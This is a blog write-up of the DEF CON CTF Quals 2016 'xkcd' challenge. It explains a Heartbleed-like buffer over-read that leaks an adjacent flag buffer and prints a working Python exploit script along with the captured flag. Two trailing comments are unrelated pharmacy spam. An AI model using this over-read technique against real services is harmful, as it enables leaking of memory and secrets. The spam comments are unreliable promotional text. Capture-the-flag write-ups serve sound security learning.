Лаборатория DEF CON CTF Quals 2016 - xkcd [1]

delimitry
, 23 мая 2016

http://download.quals.shallweplayaga.me/be4bf26fcb93f9ab8aa193efaad31c3b/xkcd
xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me:1354

Might want to read that comic as well... 1354

We have a binary and a service with this binary.
After quick inspection I've noticed a reference to heartbleed explanation xkcd comic.

Our input data are stored to globals buffer (in .bss segment) - which is 512 bytes long. 
And right after that buffer a flag_buffer (with data from flag file) is located.

So we could input  512 bytes input data to fully fill globals buffer and make it adjacent to the flag buffer.  
After that input the length (letters count)  512 + length of the flag.
I have empirically determined the length of the flag. Here is the final exploit:

import socket

s = socket.socket()
s.settimeout(5)
address = 'xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me'
port = 1354
s.connect((address, port))
payload = 'SERVER, ARE YOU STILL THERE? IF SO, REPLY "%s" (%s LETTERS)\n' % ('A' * 512, 512 + 29)
print payload
s.send(payload)
data = s.recv(2048)
print data

And successfully got the flag.
The flag is: bl33ding h34rt5 

2 комментария:

  1. ChasTume
       #   10:54, 22 мая 2017
    Viagra Online Preisvergleich Zoloft 100mg Order Now Online Hydrochlorothiazide Aldactazide In Usa Best Website Viagra Et Decalage Horaire Order Cialis In Usa Clomid Over The Counter Vardenafil Levitra Online Purchase Cialis Canadian Drugstore Secure Ordering Isotretinoin With Free Shipping Direct How To Get Viagra Viagra Cialis Vendita Fluoxetine Where To Purchase Kamagra Tablet Amoxicillin Bioequivalence Online Cash On Delivery Fluoxetine Overseas Generic Zoloft Acheter Du Viagra Pharmacie Forum Cialis Soft Tabs China Viagra Online Acheter Pilule Propecia Revatio Best Generic Viagra Zithromax Online Last Longer Bed Cheap Levitra Is Cephalexin Good Antibiotic For Pneumonia Vt Logistics Singapore Disulfiram Deust Cytotechnologie Delivery Overnight Viagra Brand Zoloft Online Cipro Discount Card Sildalis Buy Cialis Online buy brand name accutane Bentyl Cod Only Indiana Cheap Viagra Overnight Xenical 120 Mg Price Uk Cialis Online India Kamagra Jelly Online Does Zithromax Upset Your Stomach
  2. KelDuhCrory
       #   03:57, 18 июня 2017
    Cephalexin Dosage For Cats Buy Priligy Dapoxetine Best Value Cialis Hydrochlorothiazide Express Delivery Store Brand Viagra Online where can i buy isotretinoin skin health low price mastercard Cephalexin Lawsuit Levitra Pill Achat Kamagra Metz Order Now Bentyl 20mg Best Website Internet Cialis 40mg Combivent Without Prescription Drugs Over The Counter Metformin Amazon buy viagra Lowest Price For 20 Mg Of Levitra Doxycycline For Chlamydia Order Online Ordering Kamagra Online Cialis Einnahmezeitpunkt Kamagra Drop Shipping Levitra Low Cost Il Viagra Scade

Авторизуйтесь, что бы оставить комментарий